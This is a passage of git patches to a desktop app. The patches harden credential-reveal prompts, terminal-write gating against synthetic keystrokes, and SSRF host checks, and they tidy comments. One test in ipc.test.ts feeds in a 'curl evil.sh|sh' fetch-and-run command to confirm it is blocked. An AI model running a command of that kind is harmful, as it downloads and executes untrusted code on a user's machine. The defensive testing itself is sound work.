null try { inner = (active as HTMLIFrameElement).contentDocument diff --git a/apps/desktop/src/main/browser-credentials/os-auth.test.ts b/apps/desktop/src/main/browser-credentials/os-auth.test.ts index 5eebe283964..91814d5fba7 100644 --- a/apps/desktop/src/main/browser-credentials/os-auth.test.ts +++ b/apps/desktop/src/main/browser-credentials/os-auth.test.ts @@ -146,6 +146,26 @@ describe('authorizeForSecret', () => { expect(promptTouchID).toHaveBeenCalledTimes(2) }) + it('does not re-prompt for an operation already proven in the window', async () => { + // reveal -> copy -> reveal: each is proven independently, so the third call + // rides the first grant instead of asking a third time. + await authorizeForSecret(request('c1')) + await authorizeForSecret(copyRequest('c1')) + await authorizeForSecret(request('c1')) + + expect(promptTouchID).toHaveBeenCalledTimes(2) + }) + + it('revokes every operation for a credential, not just the last proven', async () => { + await authorizeForSecret(request('c1')) + await authorizeForSecret(copyRequest('c1')) + revokeSecretAuthorization('c1') + + await authorizeForSecret(request('c1')) + await authorizeForSecret(copyRequest('c1')) + expect(promptTouchID).toHaveBeenCalledTimes(4) + }) + it('keeps a copy grant usable for further copies', async () => { await authorizeForSecret(copyRequest('c1')) await authorizeForSecret(copyRequest('c1')) diff --git a/apps/desktop/src/main/browser-credentials/os-auth.ts b/apps/desktop/src/main/browser-credentials/os-auth.ts index 6ee10fc583b..04f516c1b97 100644 --- a/apps/desktop/src/main/browser-credentials/os-auth.ts +++ b/apps/desktop/src/main/browser-credentials/os-auth.ts @@ -29,10 +29,24 @@ const AUTH_GRACE_MS = 30_000 * which Universal Clipboard syncs to the user's other devices. Ordering them * either way lets one consent authorize an exposure the prompt never described. */ -export type SecretOperation = 'reveal' | 'copy' +export const SECRET_OPERATIONS = ['reveal', 'copy'] as const -/** Credential id to its standing proof of presence. */ -const provenUntil = new Map() +type SecretOperation = (typeof SECRET_OPERATIONS)[number] + +/** + * Proof of presence per credential AND operation. + * + * Keyed on both rather than holding one scalar per credential: a single slot + * would be overwritten on each grant, so reveal → copy → reveal prompts three + * times inside one window even though each was already proven. Re-prompting for + * something the user just authorized is what teaches people to approve without + * reading. + */ +const provenUntil = new Map() + +function grantKey(credentialId: string, operation: SecretOperation): string { + return `${credentialId}\u0000${operation}` +} export interface SecretAuthRequest { /** @@ -56,13 +70,14 @@ export interface SecretAuthRequest { } function hasFreshProof(credentialId: string, operation: SecretOperation): boolean { - const proof = provenUntil.get(credentialId) - if (proof === undefined) return false - if (Date.now() >= proof.expiry) { - provenUntil.delete(credentialId) + const key = grantKey(credentialId, operation) + const expiry = provenUntil.get(key) + if (expiry === undefined) return false + if (Date.now() >= expiry) { + provenUntil.delete(key) return false } - return proof.operation === operation + return true } /** @@ -72,8 +87,14 @@ function hasFreshProof(credentialId: string, operation: SecretOperation): boolea * Called with no id, it revokes everything. */ export function revokeSecretAuthorization(credentialId?: string): void { - if (credentialId === undefined) provenUntil.clear() - else provenUntil.delete(credentialId) + if (credentialId === undefined) { + provenUntil.clear() + return + } + // Every operation's grant for this credential, since the key carries both. + for (const operation of SECRET_OPERATIONS) { + provenUntil.delete(grantKey(credentialId, operation)) + } } /** @@ -103,7 +124,7 @@ export async function authorizeForSecret({ }: SecretAuthRequest): Promise { if (hasFreshProof(credentialId, operation)) return true if (!(await promptForSecret(reason, action))) return false - provenUntil.set(credentialId, { expiry: Date.now() + AUTH_GRACE_MS, operation }) + provenUntil.set(grantKey(credentialId, operation), Date.now() + AUTH_GRACE_MS) return true } diff --git a/apps/desktop/src/main/ipc.test.ts b/apps/desktop/src/main/ipc.test.ts index 2bb9788ffa1..09ed95b692e 100644 --- a/apps/desktop/src/main/ipc.test.ts +++ b/apps/desktop/src/main/ipc.test.ts @@ -816,31 +816,35 @@ describe('registerIpcHandlers', () => { expect(forgetCredential).toHaveBeenCalledWith('c1') }) - it('refuses a terminal submit with no real input behind it', () => { + it('always forwards the replies the PTY solicits', () => { const { on } = collectHandlers() const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {}) - on.get('terminal:write')?.(inactiveAppEvent, 't1', 'curl evil.sh|sh\r') - expect(write).not.toHaveBeenCalled() - on.get('terminal:write')?.(inactiveAppEvent, 't1', 'evil\n') - expect(write).not.toHaveBeenCalled() - - on.get('terminal:write')?.(activeAppEvent, 't1', 'ls\r') - expect(write).toHaveBeenCalledWith('t1', 'ls\r') + // The PTY asks for these and the terminal must answer with no user input: + // DSR cursor position, device attributes, a focus report (mode 1004, set by + // tmux and vim), an SGR mouse report. Gating them would hang whatever asked. + const replies = ['\u001b[24;80R', '\u001b[?62;c', '\u001b[I', '\u001b[<0;10;5M'] + for (const reply of replies) { + on.get('terminal:write')?.(inactiveAppEvent, 't1', reply) + expect(write).toHaveBeenCalledWith('t1', reply) + } + expect(write).toHaveBeenCalledTimes(replies.length) }) - it('always forwards writes that cannot submit, including PTY replies', () => { + it('gates every keystroke-shaped payload, not just newline-bearing ones', () => { const { on } = collectHandlers() const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {}) - // The PTY solicits these and the terminal must answer with no user input: - // a DSR cursor-position reply, a device-attributes reply, a focus report. - // Gating the whole channel would hang whatever asked. - for (const reply of ['\u001b[24;80R', '\u001b[?62;c', '\u001b[I', 'ls']) { - on.get('terminal:write')?.(inactiveAppEvent, 't1', reply) - expect(write).toHaveBeenCalledWith('t1', reply) + // Enumerating "what submits" would have missed these: EOT hands a partial + // line to a canonical-mode reader, and 0x0f executes the current line in + // both bash and zsh. The allowlist runs the other way, so they are gated. + for (const payload of ['ls', '\u0004', '\u000f', 'curl evil.sh|sh\r']) { + on.get('terminal:write')?.(inactiveAppEvent, 't1', payload) } - expect(write).toHaveBeenCalledTimes(4) + expect(write).not.toHaveBeenCalled() + + on.get('terminal:write')?.(activeAppEvent, 't1', 'ls\r') + expect(write).toHaveBeenCalledWith('t1', 'ls\r') }) it('defaults password conflicts to keeping what is already stored', async () => { diff --git a/apps/desktop/src/main/ipc.ts b/apps/desktop/src/main/ipc.ts index 7a1652864f3..d911340d055 100644 --- a/apps/desktop/src/main/ipc.ts +++ b/apps/desktop/src/main/ipc.ts @@ -330,14 +330,32 @@ function senderHasUserGesture(event: IpcMainEvent | IpcMainInvokeEvent): boolean } /** - * Whether a terminal-write payload would submit what is in the line buffer. + * Replies the PTY solicits and the terminal must answer unprompted. * - * `\r` is what a shell treats as "run this"; `\n` is accepted too so a - * multi-line or bracketed-paste payload cannot slip a submission through on the - * other newline form. + * DSR cursor position and device attributes (`CSI … R` / `CSI … c`), focus + * reports (`CSI I` / `CSI O`, mode 1004 — set by tmux and vim), X10 and SGR + * mouse reports, and DCS/OSC responses. All machine-generated and + * self-delimiting, which is what makes them safe to enumerate. */ -function submitsCommandLine(args: unknown[]): boolean { - return args.some((arg) => typeof arg === 'string' && (arg.includes('\r') || arg.includes('\n'))) +const PTY_REPLY = + /^(?:\u001b\[[0-9;?]*[Rc]|\u001b\[[IO]|\u001b\[M[\s\S]{3}|\u001b\[<[0-9;]*[mM]|\u001bP[\s\S]*?\u001b\\|\u001b\][\s\S]*?\u0007)+$/ + +/** + * Whether a terminal-write payload needs a person behind it. + * + * The reply set is enumerated and everything else is gated, rather than the + * other way round. "What submits" is not a closed set: besides carriage return + * and newline, EOT (`0x04`) hands a partial line straight to a reader in + * canonical mode, and `0x0f` is `operate-and-get-next` in bash and + * `accept-line-and-down-history` in zsh — both of which execute the current + * line. A user's own `inputrc` or `zle` bindings can add more. Enumerating that + * set would leave whichever binding was forgotten ungated, so the allowlist runs + * the other way and fails closed. + */ +function needsDeliberateInputForWrite(args: unknown[]): boolean { + const data = args[1] + if (typeof data !== 'string' || data.length === 0) return false + return !PTY_REPLY.test(data) } interface DesktopToolAuthorization { @@ -1087,7 +1105,7 @@ export function registerIpcHandlers(deps: IpcDeps): void { if (!senderAllowed(event, spec.gate) || !featureAllowed(spec.requires)) return if ( spec.submitNeedsDeliberateInput && - submitsCommandLine(args) && + needsDeliberateInputForWrite(args) && !hasRecentDeliberateInput(event.sender) ) { return From 96346a2f6e953b31bd516cbecd40a6235bc31af4 Mon Sep 17 00:00:00 2001 From: Waleed Latif Date: Wed, 29 Jul 2026 15:14:49 -0700 Subject: [PATCH 13/16] refactor(desktop): simplify what the security fixes added MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Quality pass from four parallel reviews (reuse, simplification, efficiency, altitude). No behavior change; every gate is unchanged. Reuse. resolveHostAddresses now calls preferIpv4 instead of re-deriving the IPv4-first rule inline — one 106-line file had two implementations of the rule its own TSDoc says callers depend on. url-guard's three host-normalization sites had two different rules (only one stripped a trailing dot); they share guardHost now. os-auth's grace check gained the same backwards-clock guard input-activity already had, since it is the same kind of security window. And a hand-rolled IPv6 bracket strip in input-validation.server.ts now calls the unwrapIpv6Brackets already imported at the top of that file. Simplification. Credential grants are a nested Map rather than a composite string key, which deletes grantKey, the NUL sentinel, and SECRET_OPERATIONS — and makes revoke-by-credential a single delete, so a third operation added later cannot be missed by a revoke that forgot to enumerate it. The 15-term focusableItself chain is a local array. The 4-line token rationale was pasted above seven required copies of a 3-line expression; it is stated once now, and the duplicated isSensitiveValueField TSDoc likewise. PTY_REPLY is a labelled pattern table rather than six alternations on one line. tagName is upper-cased once per loop body instead of three times. A side-effecting .filter() is a loop. senderHasUserGesture's TSDoc no longer documents the implementation it replaced. Efficiency. The expired-first eviction sweep is removed: every entry gets the same TTL and a refreshed host is re-inserted at the back, so insertion order IS expiry order — the sweep could never find an entry the front eviction does not already hold, and scanned all 256 on every insert to learn that. preferIpv4 uses ipaddr.IPv4.isValid rather than isValid + parse, which parsed each address twice. dispose() no longer copies the key set to then get and delete per key. Also: validateDatabaseHost tests the allow-flag before scanning rather than after, the blocked-address log line reports the address actually blocked rather than an arbitrary record, and the preload's two autocomplete-token idioms became one reader. Deliberately not done, and why: moving PTY_REPLY into terminal/ and making the channel gate a predicate (changes the dispatcher shape on both arms); a consume-once submit gate (behavior change, needs a paste path); folding the three-way request dispatch into one guardAgentRequest export; hoisting the release-repo identity into packages/desktop-bridge, which is worth doing and would make electron-builder.yml, update-feed.ts and updater.ts one fact instead of three; a shared helper prelude in execInPage so isSecretField stops being seven copies; and a CDP-sourced focus verdict so the driver stops trusting a page-derived signal at all. The last three are the ones worth a follow-up. --- .../src/main/browser-agent/page-functions.ts | 75 +++++++------------ .../src/main/browser-agent/url-guard.ts | 47 +++++++----- .../src/main/browser-credentials/os-auth.ts | 46 +++++------- apps/desktop/src/main/ipc.ts | 23 +++--- apps/desktop/src/main/terminal/index.ts | 15 ++-- apps/desktop/src/preload/browser/index.ts | 27 ++++--- .../core/security/input-validation.server.ts | 15 ++-- packages/security/src/dns.ts | 16 ++-- 8 files changed, 130 insertions(+), 134 deletions(-) diff --git a/apps/desktop/src/main/browser-agent/page-functions.ts b/apps/desktop/src/main/browser-agent/page-functions.ts index 44e5ab4bd80..ab1df3888ce 100644 --- a/apps/desktop/src/main/browser-agent/page-functions.ts +++ b/apps/desktop/src/main/browser-agent/page-functions.ts @@ -303,10 +303,7 @@ export function clickElement(id: number): unknown { const isSecretField = (node: Element | null): boolean => { if (!node || node.tagName !== 'INPUT') return false if (String((node as HTMLInputElement).type || '').toLowerCase() === 'password') return true - // Space-separated detail tokens are spec-legal and WebAuthn recommends - // `current-password webauthn`, so whole-string equality missed real values - // on exactly the type=text credential fields where autocomplete is the - // only signal there is. + // Token membership, not equality — see the module header. const hint = String(node.getAttribute('autocomplete') || '').toLowerCase() return hint .split(/\s+/) @@ -359,10 +356,7 @@ export function focusElementForTyping(id: number): unknown { const isSecretField = (node: Element | null): boolean => { if (!node || node.tagName !== 'INPUT') return false if (String((node as HTMLInputElement).type || '').toLowerCase() === 'password') return true - // Space-separated detail tokens are spec-legal and WebAuthn recommends - // `current-password webauthn`, so whole-string equality missed real values - // on exactly the type=text credential fields where autocomplete is the - // only signal there is. + // Token membership, not equality — see the module header. const hint = String(node.getAttribute('autocomplete') || '').toLowerCase() return hint .split(/\s+/) @@ -416,25 +410,14 @@ export function readActiveElementState(): unknown { const isSecretField = (node: Element | null): boolean => { if (!node || node.tagName !== 'INPUT') return false if (String((node as HTMLInputElement).type || '').toLowerCase() === 'password') return true - // Space-separated detail tokens are spec-legal and WebAuthn recommends - // `current-password webauthn`, so whole-string equality missed real values - // on exactly the type=text credential fields where autocomplete is the - // only signal there is. + // Token membership, not equality — see the module header. const hint = String(node.getAttribute('autocomplete') || '').toLowerCase() return hint .split(/\s+/) .some((token) => token === 'current-password' || token === 'new-password') } - /** - * Fields whose value is as sensitive as a password but which the agent must - * still be able to FILL: one-time codes and payment details. - * - * Deliberately separate from isSecretField. That one also gates keystrokes - * (activeElementSecrecy feeds the driver's press-key guard), so folding these - * tokens into it would stop the agent completing a checkout or an OTP prompt — - * work it is legitimately asked to do. Only the value is withheld here. - */ + /** Sensitive-but-fillable fields; see collectSnapshot's copy for why. */ const isSensitiveValueField = (node: Element | null): boolean => { if (!node || node.tagName !== 'INPUT') return false const hint = String(node.getAttribute('autocomplete') || '').toLowerCase() @@ -548,10 +531,7 @@ export function activeElementSecrecy(): string { const isSecretField = (node: Element | null): boolean => { if (!node || node.tagName !== 'INPUT') return false if (String((node as HTMLInputElement).type || '').toLowerCase() === 'password') return true - // Space-separated detail tokens are spec-legal and WebAuthn recommends - // `current-password webauthn`, so whole-string equality missed real values - // on exactly the type=text credential fields where autocomplete is the - // only signal there is. + // Token membership, not equality — see the module header. const hint = String(node.getAttribute('autocomplete') || '').toLowerCase() return hint .split(/\s+/) @@ -594,24 +574,31 @@ export function activeElementSecrecy(): string { // detector is `attachShadow` throwing, which is destructive. Narrowing this // needs the driver to stop trusting a page-derived signal, not a better // guess here. + // Declared inside the function: this is injected as source, so it cannot + // reference module scope, but a local is fine and keeps the list diffable. + // IFRAME/FRAME are here so the frame branch below, not this early return, + // classifies them. + const FOCUSABLE_TAGS = [ + 'INPUT', + 'TEXTAREA', + 'SELECT', + 'BUTTON', + 'A', + 'AREA', + 'SUMMARY', + 'DIALOG', + 'VIDEO', + 'AUDIO', + 'EMBED', + 'OBJECT', + 'IFRAME', + 'FRAME', + ] const focusableItself = active === active.ownerDocument.body || active.isContentEditable || active.hasAttribute('tabindex') || - tag === 'INPUT' || - tag === 'TEXTAREA' || - tag === 'SELECT' || - tag === 'BUTTON' || - tag === 'A' || - tag === 'AREA' || - tag === 'SUMMARY' || - tag === 'DIALOG' || - tag === 'VIDEO' || - tag === 'AUDIO' || - tag === 'EMBED' || - tag === 'OBJECT' || - tag === 'IFRAME' || - tag === 'FRAME' + FOCUSABLE_TAGS.indexOf(tag) !== -1 if (!shadow && !focusableItself) return 'opaque' if (tag === 'IFRAME' || tag === 'FRAME') { let inner: Document | null = null @@ -636,10 +623,7 @@ export function typeIntoElement(id: number, text: string, submit: boolean): unkn const isSecretField = (node: Element | null): boolean => { if (!node || node.tagName !== 'INPUT') return false if (String((node as HTMLInputElement).type || '').toLowerCase() === 'password') return true - // Space-separated detail tokens are spec-legal and WebAuthn recommends - // `current-password webauthn`, so whole-string equality missed real values - // on exactly the type=text credential fields where autocomplete is the - // only signal there is. + // Token membership, not equality — see the module header. const hint = String(node.getAttribute('autocomplete') || '').toLowerCase() return hint .split(/\s+/) @@ -712,10 +696,7 @@ export function pressKeyOnPage( const isSecretField = (node: Element | null): boolean => { if (!node || node.tagName !== 'INPUT') return false if (String((node as HTMLInputElement).type || '').toLowerCase() === 'password') return true - // Space-separated detail tokens are spec-legal and WebAuthn recommends - // `current-password webauthn`, so whole-string equality missed real values - // on exactly the type=text credential fields where autocomplete is the - // only signal there is. + // Token membership, not equality — see the module header. const hint = String(node.getAttribute('autocomplete') || '').toLowerCase() return hint .split(/\s+/) diff --git a/apps/desktop/src/main/browser-agent/url-guard.ts b/apps/desktop/src/main/browser-agent/url-guard.ts index 585aa07e447..96b3954bedd 100644 --- a/apps/desktop/src/main/browser-agent/url-guard.ts +++ b/apps/desktop/src/main/browser-agent/url-guard.ts @@ -19,6 +19,25 @@ export interface UrlGuardResult { const OK: UrlGuardResult = { ok: true } +/** + * A URL's host in the one form every guard here compares against. + * + * IPv6 brackets are unwrapped so the address classifiers see a bare address, + * and a trailing dot is dropped — it is a legal absolute name that resolves the + * same, so leaving it on would let `intranet.` and `intranet` be judged and + * cached as two different hosts. Null when the URL does not parse or carries no + * host, which every caller treats as nothing to block. + */ +function guardHost(rawUrl: string): string | null { + let hostname: string + try { + hostname = new URL(rawUrl).hostname + } catch { + return null + } + return unwrapIpv6Brackets(hostname).replace(/\.$/, '') || null +} + /** * Whether an address is off limits to the embedded browser. * @@ -66,7 +85,10 @@ export async function checkAgentUrl(rawUrl: string): Promise { return { ok: false, error: 'URL must be absolute and start with http:// or https://' } } - const host = unwrapIpv6Brackets(url.hostname) + const host = guardHost(url.href) + if (!host) { + return { ok: false, error: 'That address has no host to check.' } + } // IP literal: classify directly, no DNS lookup needed. if (isIpLiteral(host)) { @@ -126,7 +148,7 @@ const HOST_VERDICT_TTL_MS = 30_000 /** * Ceiling on the cache. A hostile page can name unlimited hostnames, so this is - * bounded rather than left to grow; the oldest entry is evicted first. + * bounded rather than left to grow. */ const MAX_HOST_VERDICTS = 256 @@ -187,15 +209,7 @@ export function clearHostVerdictCache(): void { * stick. */ export async function isBlockedSubresourceUrl(rawUrl: string): Promise { - let hostname: string - try { - hostname = new URL(rawUrl).hostname - } catch { - return false - } - // A trailing dot is a legal absolute name that resolves the same, so it is - // stripped for the key rather than caching the same host twice. - const host = unwrapIpv6Brackets(hostname).replace(/\.$/, '') + const host = guardHost(rawUrl) if (!host) return false if (isIpLiteral(host)) return isBlockedAddress(host) @@ -236,12 +250,7 @@ export async function isBlockedSubresourceUrl(rawUrl: string): Promise * requests still relying on this alone. */ export function isBlockedRequestUrl(rawUrl: string): boolean { - try { - // isPrivateIpHost strips IPv6 brackets itself; unwrap again for the - // loopback carve-out, which takes a bare address. - const host = new URL(rawUrl).hostname - return isPrivateIpHost(host) && !isLoopbackIp(unwrapIpv6Brackets(host)) - } catch { - return false - } + const host = guardHost(rawUrl) + if (!host) return false + return isPrivateIpHost(host) && !isLoopbackIp(host) } diff --git a/apps/desktop/src/main/browser-credentials/os-auth.ts b/apps/desktop/src/main/browser-credentials/os-auth.ts index 04f516c1b97..b1ae9170744 100644 --- a/apps/desktop/src/main/browser-credentials/os-auth.ts +++ b/apps/desktop/src/main/browser-credentials/os-auth.ts @@ -29,24 +29,18 @@ const AUTH_GRACE_MS = 30_000 * which Universal Clipboard syncs to the user's other devices. Ordering them * either way lets one consent authorize an exposure the prompt never described. */ -export const SECRET_OPERATIONS = ['reveal', 'copy'] as const - -type SecretOperation = (typeof SECRET_OPERATIONS)[number] +export type SecretOperation = 'reveal' | 'copy' /** * Proof of presence per credential AND operation. * - * Keyed on both rather than holding one scalar per credential: a single slot - * would be overwritten on each grant, so reveal → copy → reveal prompts three - * times inside one window even though each was already proven. Re-prompting for - * something the user just authorized is what teaches people to approve without - * reading. + * Nested rather than one scalar per credential: a single slot would be + * overwritten on each grant, so reveal → copy → reveal prompts three times + * inside one window even though each was already proven. Nesting also keeps + * revoke-by-credential a single delete, so a third operation added later cannot + * be left behind by a revoke that forgot to enumerate it. */ -const provenUntil = new Map() - -function grantKey(credentialId: string, operation: SecretOperation): string { - return `${credentialId}\u0000${operation}` -} +const provenUntil = new Map>() export interface SecretAuthRequest { /** @@ -70,11 +64,15 @@ export interface SecretAuthRequest { } function hasFreshProof(credentialId: string, operation: SecretOperation): boolean { - const key = grantKey(credentialId, operation) - const expiry = provenUntil.get(key) + const grants = provenUntil.get(credentialId) + const expiry = grants?.get(operation) if (expiry === undefined) return false - if (Date.now() >= expiry) { - provenUntil.delete(key) + // Also lapsed when the remaining time exceeds the whole window, which is what + // a backwards clock step looks like — otherwise a corrected clock would leave + // a grant standing far longer than it was granted for. + const remaining = expiry - Date.now() + if (remaining <= 0 || remaining > AUTH_GRACE_MS) { + grants?.delete(operation) return false } return true @@ -87,14 +85,8 @@ function hasFreshProof(credentialId: string, operation: SecretOperation): boolea * Called with no id, it revokes everything. */ export function revokeSecretAuthorization(credentialId?: string): void { - if (credentialId === undefined) { - provenUntil.clear() - return - } - // Every operation's grant for this credential, since the key carries both. - for (const operation of SECRET_OPERATIONS) { - provenUntil.delete(grantKey(credentialId, operation)) - } + if (credentialId === undefined) provenUntil.clear() + else provenUntil.delete(credentialId) } /** @@ -124,7 +116,9 @@ export async function authorizeForSecret({ }: SecretAuthRequest): Promise { if (hasFreshProof(credentialId, operation)) return true if (!(await promptForSecret(reason, action))) return false - provenUntil.set(grantKey(credentialId, operation), Date.now() + AUTH_GRACE_MS) + const grants = provenUntil.get(credentialId) ?? new Map() + grants.set(operation, Date.now() + AUTH_GRACE_MS) + provenUntil.set(credentialId, grants) return true } diff --git a/apps/desktop/src/main/ipc.ts b/apps/desktop/src/main/ipc.ts index d911340d055..c52e22023ca 100644 --- a/apps/desktop/src/main/ipc.ts +++ b/apps/desktop/src/main/ipc.ts @@ -316,14 +316,8 @@ function localFilesystemRequestNeedsToolAuthorization(request: unknown): boolean } /** - * Whether the caller has a real user gesture behind it. - * - * Answered from the main process's own record of OS input, never by asking the - * renderer. The previous implementation ran - * `navigator.userActivation?.isActive === true` through - * `frame.executeJavaScript`, which evaluates in the page's main world — the - * same world as the compromised page this gate exists to stop, which need only - * redefine `navigator.userActivation` to make the check always pass. + * Whether the caller has a real user gesture behind it, answered from the main + * process's own record of OS input rather than by asking the renderer. */ function senderHasUserGesture(event: IpcMainEvent | IpcMainInvokeEvent): boolean { return hasRecentDiscreteInput(event.sender) @@ -337,8 +331,17 @@ function senderHasUserGesture(event: IpcMainEvent | IpcMainInvokeEvent): boolean * mouse reports, and DCS/OSC responses. All machine-generated and * self-delimiting, which is what makes them safe to enumerate. */ -const PTY_REPLY = - /^(?:\u001b\[[0-9;?]*[Rc]|\u001b\[[IO]|\u001b\[M[\s\S]{3}|\u001b\[<[0-9;]*[mM]|\u001bP[\s\S]*?\u001b\\|\u001b\][\s\S]*?\u0007)+$/ +const PTY_REPLY_PATTERNS = [ + /\u001b\[[0-9;?]*[Rc]/, // DSR cursor position, device attributes + /\u001b\[[IO]/, // focus in/out (mode 1004) + /\u001b\[M[\s\S]{3}/, // X10 mouse report + /\u001b\[<[0-9;]*[mM]/, // SGR mouse report + /\u001bP[\s\S]*?\u001b\\/, // DCS response + /\u001b\][\s\S]*?\u0007/, // OSC response +] +const PTY_REPLY = new RegExp( + `^(?:${PTY_REPLY_PATTERNS.map((pattern) => pattern.source).join('|')})+$` +) /** * Whether a terminal-write payload needs a person behind it. diff --git a/apps/desktop/src/main/terminal/index.ts b/apps/desktop/src/main/terminal/index.ts index fa2919aef17..60aafd6bfe9 100644 --- a/apps/desktop/src/main/terminal/index.ts +++ b/apps/desktop/src/main/terminal/index.ts @@ -315,11 +315,11 @@ export class TerminalService { private reapFinishedRuns(terminalId: string): void { const pending = this.pendingRuns.get(terminalId) if (!pending) return - const stillRunning = pending.filter((handle) => { - if (!isRunComplete(handle)) return true - handle.dispose() - return false - }) + const stillRunning: TmuxRunHandle[] = [] + for (const handle of pending) { + if (isRunComplete(handle)) handle.dispose() + else stillRunning.push(handle) + } if (stillRunning.length === 0) this.pendingRuns.delete(terminalId) else this.pendingRuns.set(terminalId, stillRunning) } @@ -501,7 +501,10 @@ export class TerminalService { } this.sessions.clear() this.tmuxCache.clear() - for (const terminalId of [...this.pendingRuns.keys()]) this.releasePendingRuns(terminalId) + for (const handles of this.pendingRuns.values()) { + for (const handle of handles) handle.dispose() + } + this.pendingRuns.clear() this.activeId = null // A stale claim here is what let Cmd-W close a shell that no longer exists. this.setPanelFocused(false) diff --git a/apps/desktop/src/preload/browser/index.ts b/apps/desktop/src/preload/browser/index.ts index 846771cab6a..520f9a254c3 100644 --- a/apps/desktop/src/preload/browser/index.ts +++ b/apps/desktop/src/preload/browser/index.ts @@ -43,14 +43,24 @@ function isFillable(field: HTMLInputElement): boolean { * password field to `type="text"` without making it any less secret, and the * autocomplete token is the page's own declaration either way. */ +/** + * The field's `autocomplete` tokens. + * + * Token membership, not whole-string equality: the spec allows space-separated + * detail tokens and WebAuthn recommends `current-password webauthn`. Equality + * here while the agent guards split tokens would leave fill blind to exactly + * the fields they protect. + */ +function autocompleteTokens(field: HTMLInputElement): string[] { + return String(field.getAttribute('autocomplete') || '') + .toLowerCase() + .split(/\s+/) +} + function isPasswordField(field: HTMLInputElement): boolean { if (String(field.type || '').toLowerCase() === 'password') return true - // Token membership, not whole-string equality: the spec allows - // space-separated detail tokens and WebAuthn recommends - // `current-password webauthn`. Equality here while the agent guards split - // tokens would leave fill blind to exactly the fields they protect. - const hint = String(field.getAttribute('autocomplete') || '').toLowerCase() - return hint.split(/\s+/).some((token) => token === 'current-password' || token === 'new-password') + const tokens = autocompleteTokens(field) + return tokens.includes('current-password') || tokens.includes('new-password') } function findPasswordField(): HTMLInputElement | null { @@ -92,10 +102,7 @@ function findUsernameField(password: HTMLInputElement): HTMLInputElement | null function findIdentifierField(): HTMLInputElement | null { for (const field of document.querySelectorAll('input')) { if (!isFillable(field)) continue - // Token membership for the same reason as isPasswordField above: - // `autocomplete="section-login username"` is spec-legal. - const hint = String(field.getAttribute('autocomplete') || '').toLowerCase() - const tokens = hint.split(/\s+/) + const tokens = autocompleteTokens(field) if (tokens.includes('username') || tokens.includes('email')) return field if (String(field.type || '').toLowerCase() === 'email') return field } diff --git a/apps/sim/lib/core/security/input-validation.server.ts b/apps/sim/lib/core/security/input-validation.server.ts index cd8a23db215..7653212d0dc 100644 --- a/apps/sim/lib/core/security/input-validation.server.ts +++ b/apps/sim/lib/core/security/input-validation.server.ts @@ -85,7 +85,7 @@ export async function validateUrlWithDNS( logger.warn('URL resolves to blocked IP address', { paramName, hostname, - resolvedIP: addresses[0], + resolvedIP: addresses.find((address) => isPrivateIp(address)), }) return { isValid: false, @@ -97,7 +97,7 @@ export async function validateUrlWithDNS( isValid: true, // Re-preferred over the surviving set so the pin is never an address the // filter above just refused. - resolvedIP: preferIpv4(usable), + resolvedIP: preferIpv4(usable as [string, ...string[]]), originalHostname: hostname, } } catch (error) { @@ -217,9 +217,11 @@ export async function validateDatabaseHost( try { const { addresses, preferred } = await resolveHostAddresses(cleanHost) - const blockedAddress = addresses.find((candidate) => isPrivateIp(candidate)) + const blockedAddress = isPrivateDatabaseHostsAllowed + ? undefined + : addresses.find((candidate) => isPrivateIp(candidate)) - if (blockedAddress !== undefined && !isPrivateDatabaseHostsAllowed) { + if (blockedAddress !== undefined) { logger.warn('Database host resolves to blocked IP address', { paramName, hostname: host, @@ -495,10 +497,7 @@ function assertGuardedRedirectTarget(url: URL, allowedPinnedIp?: string): void { if (url.protocol !== 'http:' && url.protocol !== 'https:') { throw new Error(`Blocked by SSRF policy: redirect to unsupported protocol ${url.protocol}`) } - const host = - url.hostname.startsWith('[') && url.hostname.endsWith(']') - ? url.hostname.slice(1, -1) - : url.hostname + const host = unwrapIpv6Brackets(url.hostname) if (ipaddr.isValid(host) && isPrivateIp(host)) { // The pinned-private carve-out permits exactly its own validated IP as a target (a // self-hosted MCP on a private IP, or a same-host redirect that stays on it) — but nothing diff --git a/packages/security/src/dns.ts b/packages/security/src/dns.ts index a760b9b9af8..020e2b74433 100644 --- a/packages/security/src/dns.ts +++ b/packages/security/src/dns.ts @@ -34,12 +34,9 @@ export class DnsTimeoutError extends Error { * can re-apply the same preference to what is left instead of pinning an * address it just rejected. */ -export function preferIpv4(addresses: readonly string[]): string | undefined { - return ( - addresses.find( - (address) => ipaddr.isValid(address) && ipaddr.parse(address).kind() === 'ipv4' - ) ?? addresses[0] - ) +export function preferIpv4(addresses: readonly [string, ...string[]]): string { + // IPv4.isValid rather than isValid + parse, which parses the string twice. + return addresses.find((address) => ipaddr.IPv4.isValid(address)) ?? addresses[0] } export interface ResolvedHost { @@ -91,9 +88,12 @@ export async function resolveHostAddresses( if (resolved.length === 0) { throw new Error(`No addresses for ${host}`) } + const addresses = resolved.map((entry) => entry.address) as [string, ...string[]] return { - addresses: resolved.map((entry) => entry.address), - preferred: (resolved.find((entry) => entry.family === 4) ?? resolved[0]).address, + addresses, + // Through preferIpv4 rather than re-derived from `entry.family`, so the + // rule has one implementation that callers narrowing the set also use. + preferred: preferIpv4(addresses), // Resolver order is preserved (`verbatim: true`) because `preferred` // applies the IPv4 preference itself, so the order here is informational. // Deliberately unlike `createSsrfGuardedLookup` in apps/sim, which hands From d0a6eb96952048cee97e19d9195454ca35a2fedb Mon Sep 17 00:00:00 2001 From: Waleed Latif Date: Wed, 29 Jul 2026 15:24:34 -0700 Subject: [PATCH 14/16] docs(desktop): correct comments that no longer match the code MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Comment audit over the branch. ~75 lines removed, no rationale lost. Two of these were actively misleading and are the reason the pass was worth running. Three comments still described the terminal gate as newline-keyed after the predicate was inverted to a reply allowlist, including one asserting "a raw write only becomes command execution on the trailing \r" — which is exactly the claim the inversion exists to refute, since 0x04 and 0x0f submit too. The flag carried the same stale name and is now payloadNeedsDeliberateInput, since it gates every payload that is not a solicited reply, not only submits. A TSDoc block in the browser preload had been orphaned: the new autocompleteTokens doc was inserted between isPasswordField and its own comment, so the doc documented the wrong declaration. The rest is duplication. The token-membership rationale had been collapsed to six copies of a pointer at the wrong target — the module header explains the duplication, not the token rule — so the pointers are gone and the rationale stays where it is stated in full. The subresource-exemption reasoning was still in three places; session.ts now points at the two url-guard TSDocs that own it. The "every address is judged" reasoning was in four places when ResolvedHost already documents it for every consumer. Also trimmed: a paragraph restating 